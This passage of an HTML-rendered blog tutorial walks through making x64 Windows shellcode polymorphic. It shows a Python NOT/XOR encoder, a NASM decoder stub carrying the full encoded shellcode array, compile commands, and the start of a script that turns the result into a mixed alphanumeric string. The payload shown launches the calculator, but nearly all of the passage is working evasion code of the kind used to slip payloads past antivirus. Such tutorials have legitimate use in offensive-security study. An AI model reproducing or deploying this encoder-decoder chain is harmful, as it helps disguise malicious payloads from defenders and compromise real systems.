xff\xd7\x4d\x87\xf4</span><span class="sh">"</span>

<span class="n">xor_key</span> <span class="o">=</span> <span class="mh">0xAC</span>  <span class="c1"># Use a key that avoids bad characters
</span>
<span class="n">encoded_shellcode</span> <span class="o">=</span> <span class="nf">bytearray</span><span class="p">()</span>
<span class="n">i</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">while</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="nf">len</span><span class="p">(</span><span class="n">shellcode</span><span class="p">):</span>
    <span class="n">chunk</span> <span class="o">=</span> <span class="n">shellcode</span><span class="p">[</span><span class="n">i</span><span class="p">:</span><span class="n">i</span><span class="o">+</span><span class="mi">8</span><span class="p">]</span>
    <span class="n">value</span> <span class="o">=</span> <span class="nb">int</span><span class="p">.</span><span class="nf">from_bytes</span><span class="p">(</span><span class="n">chunk</span><span class="p">,</span> <span class="sh">'</span><span class="s">little</span><span class="sh">'</span><span class="p">)</span>
    <span class="n">not_value</span> <span class="o">=</span> <span class="p">(</span><span class="o">~</span><span class="n">value</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFFFFFFFFFF</span>
    <span class="n">not_chunk</span> <span class="o">=</span> <span class="n">not_value</span><span class="p">.</span><span class="nf">to_bytes</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="sh">'</span><span class="s">little</span><span class="sh">'</span><span class="p">)</span>
    <span class="k">for</span> <span class="n">b</span> <span class="ow">in</span> <span class="n">not_chunk</span><span class="p">:</span>
        <span class="n">encoded_shellcode</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">b</span> <span class="o">^</span> <span class="n">xor_key</span><span class="p">)</span>
    <span class="n">i</span> <span class="o">+=</span> <span class="mi">8</span>

<span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Encoded Shellcode: </span><span class="si">{</span><span class="sh">'</span><span class="s">,</span><span class="sh">'</span><span class="p">.</span><span class="n">join</span><span class="p">([</span><span class="sa">f</span><span class="sh">'</span><span class="s">0x</span><span class="si">{</span><span class="n">b</span><span class="si">:</span><span class="mi">02</span><span class="n">x</span><span class="si">}</span><span class="sh">'</span><span class="s"> for b in encoded_shellcode])</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>

<span class="n">positions</span> <span class="o">=</span> <span class="p">[</span><span class="n">i</span> <span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">byte</span> <span class="ow">in</span> <span class="nf">enumerate</span><span class="p">(</span><span class="n">encoded_shellcode</span><span class="p">)</span> <span class="k">if</span> <span class="n">byte</span> <span class="o">==</span> <span class="n">xor_key</span><span class="p">]</span>

<span class="k">if</span> <span class="n">positions</span><span class="p">:</span>
    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Found 0xAC at position(s): </span><span class="si">{</span><span class="n">positions</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">0xAC not found in the shellcode</span><span class="sh">"</span><span class="p">)</span>
</code></pre></div></div>

<p><strong>Here’s the output I received after running the script:</strong></p>

<p><img width="1473" height="476" alt="image" src="https://github.com/user-attachments/assets/a1e0410a-30f5-407e-82dc-3b0c24203af6" /></p>

<h2 id="polymorphic-prep-part-2-continued---the-decoder-x64-assembly-code">Polymorphic prep part 2 continued - The Decoder x64 Assembly code</h2>

<p>Cool, so now that we have our encoded shellcode, we now need to write a decoder in x64 assembly.  Just pick one of the index locations the script discovered as your decoding key and apply it to our .asm file below;  I chose key index <code class="language-plaintext highlighter-rouge">38</code>.  This will be used to yet once again compile our shellcode with an additional layer of polymorphism!  Notice how I added <code class="language-plaintext highlighter-rouge">38</code> here:</p>

<blockquote>
  <p>mov r9b, [rel encoded_shellcode + 38]</p>
</blockquote>

<p>That’s the index for the location of our decryption key in the shellcode itself.  Ok, let’s check out that assembly code shall we?</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">;nasm -fwin64 [x64findkernel32.asm]</span>
<span class="c1">;ld -m i386pep -N -o x64findkernel32.exe x64findkernel32.obj</span>
<span class="k">BITS</span> <span class="mi">64</span>

<span class="nf">section</span> <span class="nv">.data</span> 

<span class="nf">section</span> <span class="nv">.text</span>
<span class="nf">global</span> <span class="nv">main</span>

<span class="nl">main:</span>
    <span class="c1">; Decode loop (use LEA for RIP-relative address)</span>
    <span class="nf">lea</span> <span class="nb">rsi</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">encoded_shellcode</span><span class="p">]</span>
    <span class="nf">mov</span> <span class="nb">r9b</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">encoded_shellcode</span> <span class="o">+</span> <span class="mi">38</span><span class="p">]</span>
    <span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nv">encoded_shellcode_len</span>   <span class="c1">; Immediate value, no rel needed</span>
<span class="nl">decode_loop:</span>
    <span class="nf">mov</span> <span class="nb">al</span><span class="p">,</span> <span class="p">[</span><span class="nb">rsi</span><span class="p">]</span>
    <span class="nf">xor</span> <span class="nb">al</span><span class="p">,</span> <span class="nb">r9b</span>           <span class="c1">; 0xAC</span>
    <span class="nf">not</span> <span class="nb">al</span>             <span class="c1">; Undo NOT encoding</span>
    <span class="nf">mov</span> <span class="p">[</span><span class="nb">rsi</span><span class="p">],</span> <span class="nb">al</span>
    <span class="nf">inc</span> <span class="nb">rsi</span>
    <span class="nf">loop</span> <span class="nv">decode_loop</span>

    <span class="c1">; Jump to decoded shellcode (reload address for jmp)</span>
    <span class="nf">lea</span> <span class="nb">rax</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">encoded_shellcode</span><span class="p">]</span>
    <span class="nf">jmp</span> <span class="nb">rax</span>
	
<span class="nl">encoded_shellcode:</span>
<span class="kd">db</span>  <span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xb5</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0xbf</span><span class="p">,</span><span class="mh">0x7b</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xde</span><span class="p">,</span><span class="mh">0x6c</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0xb7</span><span class="p">,</span><span class="mh">0xa3</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xa7</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0x62</span><span class="p">,</span><span class="mh">0x9a</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xaf</span><span class="p">,</span><span class="mh">0x36</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x57</span><span class="p">,</span><span class="mh">0x76</span><span class="p">,</span><span class="mh">0x63</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x13</span><span class="p">,</span><span class="mh">0x33</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0x62</span><span class="p">,</span><span class="mh">0xac</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x13</span><span class="p">,</span><span class="mh">0x4b</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xad</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x23</span><span class="p">,</span><span class="mh">0x43</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x94</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x65</span><span class="p">,</span><span class="mh">0x1f</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xbc</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x1d</span><span class="p">,</span><span class="mh">0x33</span><span class="p">,</span><span class="mh">0x1f</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xbc</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x4a</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xbf</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xe9</span><span class="p">,</span><span class="mh">0x18</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x16</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x1d</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0x62</span><span class="p">,</span><span class="mh">0xac</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0x6a</span><span class="p">,</span><span class="mh">0x80</span><span class="p">,</span><span class="mh">0x27</span><span class="p">,</span><span class="mh">0x5b</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xaf</span><span class="p">,</span><span class="mh">0x26</span><span class="p">,</span><span class="mh">0x85</span><span class="p">,</span><span class="mh">0x1f</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xb4</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x0d</span><span class="p">,</span><span class="mh">0x63</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xda</span><span class="p">,</span><span class="mh">0xa5</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xda</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xb6</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x08</span><span class="p">,</span><span class="mh">0x6f</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0x38</span><span class="p">,</span><span class="mh">0xb7</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x1f</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x90</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xda</span><span class="p">,</span><span class="mh">0xb7</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0x62</span><span class="p">,</span><span class="mh">0x9a</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0x92</span><span class="p">,</span><span class="mh">0xb6</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x35</span><span class="p">,</span><span class="mh">0xd2</span><span class="p">,</span><span class="mh">0x92</span><span class="p">,</span><span class="mh">0xac</span><span class="p">,</span><span class="mh">0xdb</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xbd</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0x92</span><span class="p">,</span><span class="mh">0xba</span><span class="p">,</span><span class="mh">0x5b</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0x92</span><span class="p">,</span><span class="mh">0x9f</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x47</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x1f</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xb4</span><span class="p">,</span><span class="mh">0x1f</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x91</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xda</span><span class="p">,</span><span class="mh">0xbe</span><span class="p">,</span><span class="mh">0x17</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0x47</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0x62</span><span class="p">,</span><span class="mh">0xbe</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0x62</span><span class="p">,</span><span class="mh">0x88</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0xbf</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x17</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x09</span><span class="p">,</span><span class="mh">0x73</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0xad</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x90</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xbd</span><span class="p">,</span><span class="mh">0x1f</span><span class="p">,</span><span class="mh">0xda</span><span class="p">,</span><span class="mh">0x82</span><span class="p">,</span><span class="mh">0x1f</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xbc</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xeb</span><span class="p">,</span><span class="mh">0xfb</span><span class="p">,</span><span class="mh">0xc5</span><span class="p">,</span><span class="mh">0xc2</span><span class="p">,</span><span class="mh">0xe9</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0xcf</span><span class="p">,</span><span class="mh">0x3c</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0x92</span><span class="p">,</span><span class="mh">0x9c</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xa4</span><span class="p">,</span><span class="mh">0x83</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xae</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0x92</span><span class="p">,</span><span class="mh">0xb3</span><span class="p">,</span><span class="mh">0x5b</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xda</span><span class="p">,</span><span class="mh">0xbe</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0x92</span><span class="p">,</span><span class="mh">0xbb</span><span class="p">,</span><span class="mh">0x5b</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xb5</span><span class="p">,</span><span class="mh">0x03</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xd6</span><span class="p">,</span><span class="mh">0xa5</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xda</span><span class="p">,</span><span class="mh">0xb3</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xad</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x97</span><span class="p">,</span><span class="mh">0x5b</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xda</span><span class="p">,</span><span class="mh">0xb7</span><span class="p">,</span><span class="mh">0x34</span><span class="p">,</span><span class="mh">0xb0</span><span class="p">,</span><span class="mh">0x63</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xad</span><span class="p">,</span><span class="mh">0x62</span><span class="p">,</span><span class="mh">0x88</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xaf</span><span class="p">,</span><span class="mh">0x12</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x4f</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0x92</span><span class="p">,</span><span class="mh">0xb4</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x1f</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x90</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xb5</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xac</span><span class="p">,</span><span class="mh">0x9a</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xaf</span><span class="p">,</span><span class="mh">0x1f</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x5b</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xa7</span><span class="p">,</span><span class="mh">0x1f</span><span class="p">,</span><span class="mh">0x6a</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x27</span><span class="p">,</span><span class="mh">0x5e</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xbd</span><span class="p">,</span><span class="mh">0x26</span><span class="p">,</span><span class="mh">0x82</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0x92</span><span class="p">,</span><span class="mh">0xb5</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x9f</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xaf</span><span class="p">,</span><span class="mh">0xac</span><span class="p">,</span><span class="mh">0x92</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xd6</span><span class="p">,</span><span class="mh">0xb7</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0x62</span><span class="p">,</span><span class="mh">0x88</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xa7</span><span class="p">,</span><span class="mh">0x17</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x09</span><span class="p">,</span><span class="mh">0x4f</span><span class="p">,</span><span class="mh">0x1f</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xa4</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x90</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xbf</span><span class="p">,</span><span class="mh">0x16</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x6f</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xad</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x94</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0x62</span><span class="p">,</span><span class="mh">0xa5</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0x62</span><span class="p">,</span><span class="mh">0x93</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x96</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x03</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xae</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xeb</span><span class="p">,</span><span class="mh">0xcf</span><span class="p">,</span><span class="mh">0xcd</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0xcf</span><span class="p">,</span><span class="mh">0x82</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0xaf</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xa4</span><span class="p">,</span><span class="mh">0x83</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xbd</span><span class="p">,</span><span class="mh">0x03</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xad</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xda</span><span class="p">,</span><span class="mh">0xb2</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xd6</span><span class="p">,</span><span class="mh">0xb7</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0x62</span><span class="p">,</span><span class="mh">0x81</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xbd</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xac</span><span class="p">,</span><span class="mh">0x91</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xad</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0xbf</span><span class="p">,</span><span class="mh">0x63</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xaf</span><span class="p">,</span><span class="mh">0x12</span><span class="p">,</span><span class="mh">0xac</span><span class="p">,</span><span class="mh">0x84</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xa7</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x53</span>
<span class="no">encoded_shellcode_len</span><span class="kd"> equ</span> <span class="kc">$</span> <span class="o">-</span> <span class="nv">encoded_shellcode</span>
</code></pre></div></div>

<blockquote>
  <p>Before we compile this, it’s worth mentioning that we could also run the asmobfuscator python script against this assembly code for futher polypmorphic layers if we wanted.  But for simplicity sake I left it as is 😺</p>
</blockquote>

<p>Go ahead and compile that and run it.  You’ll get the calculator as expected, but we’re not done yet!!!  We need to hang on to that .obj file.  We will need it for our final portion of this post.  I just wanted you to see how the decoder works and make sure you do in fact see the calculator 😸 The grand finale - <strong>adding in Alphanumeric shellcode / mix</strong> is up next! But let’s go ahead and do the following first:</p>

<blockquote>
  <table>
    <tbody>
      <tr>
        <td>Compile instructions: nasm -fwin64 [program.asm]</td>
        <td>ld -m i386pep -N -o program.exe program.obj</td>
      </tr>
    </tbody>
  </table>
</blockquote>

<p><img width="1599" height="905" alt="image" src="https://github.com/user-attachments/assets/7e69c2b4-b13b-46aa-82ce-68fc21d8c35e" /></p>

<h2 id="polymorphic-prep-part-3---adding-in-the-alphanumeric--mix-component-to-our-shellcode">Polymorphic prep part 3 - Adding in the Alphanumeric / mix Component to our Shellcode</h2>

<p>Alright guys, we’re getting closer to our completed polymorphic shellcode now.  What we need to do next is generate shellcode for our decoding routine.  We can simply run the same python shellcode generation script from earlier.  Your results should look like mine below:</p>

<p><img width="1460" height="370" alt="image" src="https://github.com/user-attachments/assets/411aaac6-d913-4173-8603-8d680aca7b45" /></p>

<p>Next, go ahead and copy and paste that shellcode somewhere because you’ll need it here in just a few.  First, we need to convert our hex bytes (shellcode) to ASCII.  Well, we will convert what we can.  The hex bytes that do not have a direct ASCII charcode conversion available we will leave as is.   Thus, the <code class="language-plaintext highlighter-rouge">Alpha/mix</code> mix nature of our shellcode.  Here’s what the python script looks like, and here’s where you’ll paste in that Bitwise NOT decoder shellcode you just generated.  Notice how I pasted in the aforementioned shellcode:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Parse the hex list and convert to mixed ASCII/hex representation for C string literal
</span><span class="n">hex_list</span> <span class="o">=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x48\x8d\x35\x23\x00\x00\x00\x44\x8a\x0d\x42\x00\x00\x00\xb9\x98\x01\x00\x00\x8a\x06\x44\x30\xc8\xf6\xd0\x88\x06\x48\xff\xc6\xe2\xf2\x48\x8d\x05\x02\x00\x00\x00\xff\xe0\x1e\xd4\xb5\x1b\xd0\xbf\x7b\x1b\xde\x6c\x1b\xd0\xb7\xa3\x1e\xd4\xa7\x1b\x62\x9a\x1a\xd4\xaf\x36\x1b\xd8\x57\x76\x63\x53\x53\x53\x1b\xd8\x13\x33\x1b\x62\xac\x1b\xd8\x13\x4b\x1a\xd4\xad\x1b\xd8\x23\x43\x1b\xd0\x94\x53\x1b\xd8\x65\x1f\xd4\xbc\x1b\xd8\x1d\x33\x1f\xd4\xbc\x1b\xd8\x4a\x1e\xd4\xbf\x1b\xe9\x18\x53\x16\x53\x01\x53\x1d\x53\x1b\x62\xac\x1b\x6a\x80\x27\x5b\x1a\xd4\xaf\x26\x85\x1f\xd4\xb4\x1b\xd8\x0d\x63\x1e\xda\xa5\x1a\xda\x8b\x1e\xd4\xb6\xd8\x08\x6f\x1e\x38\xb7\x52\x1f\x52\x90\x1e\xda\xb7\x1b\x62\x9a\x1a\x92\xb6\x53\x35\xd2\x92\xac\xdb\x1e\xd4\xbd\x1b\x92\xba\x5b\x1a\x92\x9f\x53\xd8\x47\x58\x1f\xd4\xb4\x1f\x52\x91\x1e\xda\xbe\x17\xd8\x01\x47\x1e\x62\xbe\x1e\x62\x88\x1a\xd0\xbf\x53\x17\xd8\x09\x73\x1a\xd0\xad\x53\x1e\x52\x90\x1e\xd4\xbd\x1f\xda\x82\x1f\xd4\xbc\x1b\xeb\xfb\xc5\xc2\xe9\xd4\xc9\xcf\x3c\x1b\x92\x9c\x53\x1b\xa4\x83\x1a\xd4\xae\x1b\x92\xb3\x5b\x1e\xda\xbe\x1b\x92\xbb\x5b\x1e\xd4\xb5\x03\x1e\xd6\xa5\x1b\xda\xb3\x1a\xd4\xad\x1b\xd0\x97\x5b\x1e\xda\xb7\x34\xb0\x63\x1a\xd4\xad\x62\x88\x1a\xd4\xaf\x12\xd8\x4f\xd8\x1b\x92\xb4\x53\x1f\x52\x90\x1e\xd4\xb5\x1b\xac\x9a\x1a\xd4\xaf\x1f\xd8\x5b\x1e\xd4\xa7\x1f\x6a\x58\x27\x5e\x1e\xd4\xbd\x26\x82\x1a\x92\xb5\x53\x9f\x1a\xd4\xaf\xac\x92\x1e\xd6\xb7\x1e\x62\x88\x1e\xd4\xa7\x17\xd8\x09\x4f\x1f\xd4\xa4\x1e\x52\x90\x1e\xd4\xbf\x16\xd8\x6f\xd8\x1a\xd4\xad\x1e\x52\x94\x1e\x62\xa5\x1b\x62\x93\x1a\xd0\x96\x53\x03\x1a\xd4\xae\x1b\xeb\xcf\xcd\xc0\xcf\x82\xc9\xd4\xc9\x1a\xd0\xaf\x53\x1b\xa4\x83\x1e\xd4\xbd\x03\x1a\xd4\xad\x1b\xda\xb2\x1e\xd6\xb7\x1b\x62\x81\x1e\xd4\xbd\x1b\xac\x91\x1a\xd4\xad\x1b\xd0\xbf\x63\x1a\xd4\xaf\x12\xac\x84\x1e\xd4\xa7\x53\x53\x53\x53\x53</span><span class="sh">"</span>

<span class="n">alphanumericfinal</span><span class="o">=</span><span class="p">[]</span>
<span class="k">for</span> <span class="n">bytey</span> <span class="ow">in</span> <span class="n">hex_list</span><span class="p">:</span>
    <span class="n">r</span> <span class="o">=</span> <span class="nf">repr</span><span class="p">(</span><span class="nf">chr</span><span class="p">(</span><span class="n">bytey</span><span class="p">))</span>
    <span class="k">if</span> <span class="n">bytey</span> <span class="o">==</span> <span class="mh">0x27</span><span class="p">:</span>
        <span class="n">alphanumericfinal</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="sh">"</span><span class="se">\"\\</span><span class="sh">'</span><span class="se">\"</span><span class="sh">"</span><span class="p">)</span>
    <span class="k">elif</span> <span class="n">bytey</span> <span class="o">==</span> <span class="mh">0x22</span><span class="p">:</span>
